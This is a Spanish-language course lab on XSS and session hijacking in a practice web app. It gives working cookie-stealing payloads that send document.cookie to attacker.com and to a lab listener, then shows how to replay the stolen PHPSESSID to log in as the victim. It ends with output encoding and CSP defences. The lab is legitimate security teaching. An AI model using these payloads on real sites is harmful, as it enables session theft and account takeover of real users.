Saltar al contenido principal

Lab 6.3: XSS y Secuestro de Sesión

Objetivos de Aprendizaje​

Al final de este laboratorio, usted será capaz de:

  • Comprender los ataques Cross-Site Scripting (XSS)
  • Diferenciar XSS Reflected, Stored y DOM-based
  • Inyectar JavaScript malicioso en una aplicación web
  • Robar cookies de sesión
  • Realizar un ataque de secuestro de sesión
  • Conectarse como otro usuario sin conocer su contraseña
  • Detectar vulnerabilidades XSS en el código
  • Implementar protecciones (codificación de salida, CSP)

Duración Estimada​

35 minutos

Prerrequisitos​

  • Aplicación web vulnerable (DVWA o aplicación proporcionada)
  • Servidor web local (XAMPP/WAMP)
  • Navegador web
  • Comprensión básica de HTML y JavaScript
  • Lab 6.2 (SQL Injection) completado

Contexto Profesional​

XSS está clasificado en el OWASP Top 10. Permite:

  • Robo de cookies y sesiones
  • Desfiguración de sitios
  • Redirección a sitios maliciosos
  • Keylogging del lado del cliente
  • Robo de información sensible

Casos reales:

  • Twitter (2010): Gusano XSS auto-propagado
  • eBay (2014): XSS persistente
  • British Airways (2018): Skimming vía XSS

XSS permite robar sesiones de usuario y ejecutar código malicioso en el navegador de las víctimas.

AUTORIZADO:

  • Aplicaciones de laboratorio
  • Bug bounty autorizado
  • Pruebas con permiso

PROHIBIDO:

  • Sitios reales sin autorización
  • Robo de sesiones ajenas
  • Desfiguración de sitios

Parte 1: XSS Reflected​

Prueba Básica​

En un campo de búsqueda o URL:

<script>alert('XSS')</script>

Si aparece una ventana emergente: ¡Vulnerable!

Explicación: El JavaScript se ejecuta en el navegador de la víctima.

Robo de Cookies​

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

¡Cookie enviada al servidor atacante!


Parte 2: XSS Stored (Más Peligroso)​

Inyección en Comentarios​

En un campo de comentario:

<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>

¡Guardado en la base de datos!

Cada visitante que ve el comentario:

  • JavaScript ejecutado
  • Cookie robada automáticamente
  • Sesión comprometida

Parte 3: Secuestro de Sesión​

Payload XSS:

<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

En la VM atacante, escuchar:

python3 -m http.server 8000

Cuando la víctima visita la página:

192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -

Cookie capturada: PHPSESSID=abc123xyz456

Con la extensión "EditThisCookie" o consola de desarrollador:

document.cookie = "PHPSESSID=abc123xyz456";
location.reload();

Actualice la página:

¡BOOM! Conectado como la víctima SIN contraseña!


Parte 4: Protección​

Código Vulnerable​

echo "Bonjour " . $_GET['name'];

Código Seguro​

echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

htmlspecialchars: Convierte < en &lt;, ¡bloquea la ejecución!

Content Security Policy (CSP)​

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

¡Bloquea todo JavaScript inline!


Entregables​

  1. Informe con capturas de pantalla de XSS funcional
  2. Cookie robada y secuestro de sesión exitoso
  3. Código vulnerable vs seguro
  4. Recomendaciones de protección

Lab desarrollado en el marco del curso Sistemas Operativos - MÓDULO 6